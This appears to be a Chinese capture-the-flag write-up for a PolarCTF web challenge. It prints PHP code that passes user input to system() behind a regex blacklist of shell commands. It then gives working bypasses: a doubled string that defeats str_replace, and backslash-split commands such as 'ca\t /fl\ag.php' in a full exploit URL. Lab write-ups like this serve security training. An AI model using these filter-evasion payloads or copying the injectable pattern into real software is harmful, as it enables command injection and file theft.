
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>
这里需要绕过2个地方
1、gouheizi1不能出现正则匹配中的命令
2、gouheizi2会被str_place将gouheizi替换为空,但是在第二个if中又需要这个gouheizi字符串太能执行system
gouheizi1我们可以使用env来直接读取flag
由于str_place只会匹配一次,那么我可以通过双写让gouheizi2等于gouheizi
str_place通过双写绕过

但是使用env获取的flag是错误的
\拼接命令绕过
这题的正则过来和 【PolarCTF】rapyiquan 一样可以直接参考
http://c2d223b9-2c5e-47f8-a521-dcdce170beb8.www.polarctf.com:8090/?gouheizi1=ca\t%20/fl\ag.php
gouheizi2=gouhegouheiziizi
